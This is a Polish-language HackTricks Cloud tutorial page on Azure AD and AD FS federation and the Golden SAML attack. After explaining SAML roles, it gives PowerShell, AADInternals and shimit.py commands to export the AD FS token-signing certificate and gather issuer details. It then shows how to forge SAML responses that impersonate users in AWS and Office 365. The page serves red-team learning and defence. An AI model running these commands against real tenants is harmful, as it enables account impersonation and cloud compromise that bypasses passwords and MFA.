Polish - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji:Federacja to zbiór domen, które ustanowiły zaufanie. Poziom zaufania może się różnić, ale zazwyczaj obejmuje uwierzytelnianie i zawsze obejmuje autoryzację. Typowa federacja może obejmować kilka organizacji, które ustanowiły zaufanie dla wspólnego dostępu do zestawu zasobów.

Możesz zafederować swoje środowisko lokalne z Azure AD i użyć tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że całe uwierzytelnianie użytkownika odbywa się w środowisku lokalnym. Ta metoda pozwala administratorom wprowadzić bardziej rygorystyczne poziomy kontroli dostępu. Dostępna jest federacja z AD FS i PingFederate.

W Federacji całe uwierzytelnianie odbywa się w środowisku lokalnym i użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą uzyskać dostęp do aplikacji chmurowych, korzystając z danych uwierzytelniających z lokalnego środowiska.

Do wymiany wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami używany jest język znaczników twierdzeń bezpieczeństwa (SAML).

W każdym ustawieniu federacji występują trzy strony:

  • Użytkownik lub Klient

  • Dostawca Tożsamości (IdP)

  • Dostawca Usług (SP)

(Obrazy pochodzą z https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Początkowo aplikacja (Dostawca Usług lub SP, takie jak konsola AWS lub klient sieci web vSphere) jest dostępna dla użytkownika. Ten krok może zostać pominięty, prowadząc klienta bezpośrednio do IdP (Dostawcy Tożsamości) w zależności od konkretnej implementacji.

  2. Następnie SP identyfikuje odpowiedniego IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie uwierzytelniania SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.

  3. IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu IdP formułuje odpowiedź SAML i przekazuje ją do SP przez użytkownika.

  4. Wreszcie SP ocenia odpowiedź SAML. Jeśli walidacja przebiegnie pomyślnie, co oznacza zaufanie do IdP, użytkownik otrzymuje dostęp. To oznacza zakończenie procesu logowania, pozwalając użytkownikowi korzystać z usługi.

Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:

Pivoting

  • AD FS to model tożsamości oparty na twierdzeniach.

  • "..twierdzenia to po prostu oświadczenia (na przykład nazwa, tożsamość, grupa) dotyczące użytkowników, które są głównie używane do autoryzacji dostępu do aplikacji opartych na twierdzeniach, znajdujących się w dowolnym miejscu w Internecie."

  • Twierdzenia dla użytkownika są zapisane wewnątrz tokenów SAML, a następnie są podpisane w celu zapewnienia poufności przez IdP.

  • Użytkownik jest identyfikowany przez ImmutableID. Jest to globalnie unikalne i przechowywane w Azure AD.

  • ImmutableID jest przechowywane w środowisku lokalnym jako atrybut ms-DS-ConsistencyGuid dla użytkownika i/lub może być pochodne z GUID użytkownika.

  • Więcej informacji na stronie https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Atak Golden SAML:

  • W ADFS odpowiedź SAML jest podpisana przez certyfikat podpisywania tokenów.

  • Jeśli certyfikat zostanie skompromitowany, istnieje możliwość uwierzytelnienia w Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!

  • Podobnie jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego efektu, ponieważ fałszujemy odpowiedź uwierzytelniającą.

  • Certyfikat można wydobyć z serwera AD FS z uprawnieniami DA, a następnie można go użyć z dowolnego połączonego z internetem urządzenia.

  • Więcej informacji na stronie https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Proces, w którym Dostawca Tożsamości (IdP) generuje Odpowiedź SAML w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, odpowiedź może być podpisana lub zaszyfrowana za pomocą prywatnego klucza IdP. Ten proces umożliwia Dostawcy Usług (SP) potwierdzenie autentyczności odpowiedzi SAML, zapewniając, że została ona faktycznie wydana przez zaufanego IdP.

Można wyciągnąć analogię do ataku na złoty bilet, gdzie klucz autentykujący tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotych SAML) może być manipulowany w celu podrobienia obiektu uwierzytelniania (TGT lub odpowiedzi SAML). Pozwala to na podszywanie się pod dowolnego użytkownika, co umożliwia nieautoryzowany dostęp do SP.

Złote SAML oferują pewne zalety:

  • Mogą być tworzone zdalnie, bez konieczności bycia częścią domeny lub federacji w pytaniu.

  • Pozostają skuteczne nawet przy włączonym dwuskładnikowym uwierzytelnianiu (2FA).

  • Prywatny klucz podpisywania tokenów nie odnawia się automatycznie.

  • Zmiana hasła użytkownika nie unieważnia już wygenerowanego SAML.

AWS + AD FS + Golden SAML

Usługi Federacji Active Directory (AD FS) to usługa firmy Microsoft ułatwiająca bezpieczną wymianę informacji tożsamości między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domenowej udostępniać tożsamości użytkowników innym dostawcom usług w ramach federacji.

Dzięki zaufaniu AWS do skompromitowanej domeny (w federacji), tę podatność można wykorzystać do potencjalnego uzyskania dowolnych uprawnień w środowisku AWS. Atak wymaga prywatnego klucza używanego do podpisywania obiektów SAML, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający do uzyskania tego klucza prywatnego.

Wymagania do przeprowadzenia ataku złotego SAML obejmują:

  • Prywatny klucz podpisywania tokenów

  • Certyfikat publiczny IdP

  • Nazwa IdP

  • Nazwa roli (roli do przyjęcia)

  • Nazwa domeny\nazwa użytkownika

  • Nazwa sesji roli w AWS

  • ID konta Amazon

Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania.

Aby uzyskać prywatny klucz, konieczny jest dostęp do konta użytkownika AD FS. Następnie klucz prywatny można wyeksportować z magazynu osobistego za pomocą narzędzi takich jak mimikatz. Aby uzyskać inne wymagane informacje, można skorzystać z dodatku Microsoft.Adfs.Powershell, upewniając się, że jesteś zalogowany jako użytkownik ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Z całymi informacjami, możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz podrobić za pomocą shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> chmura

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i ich podszycie.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated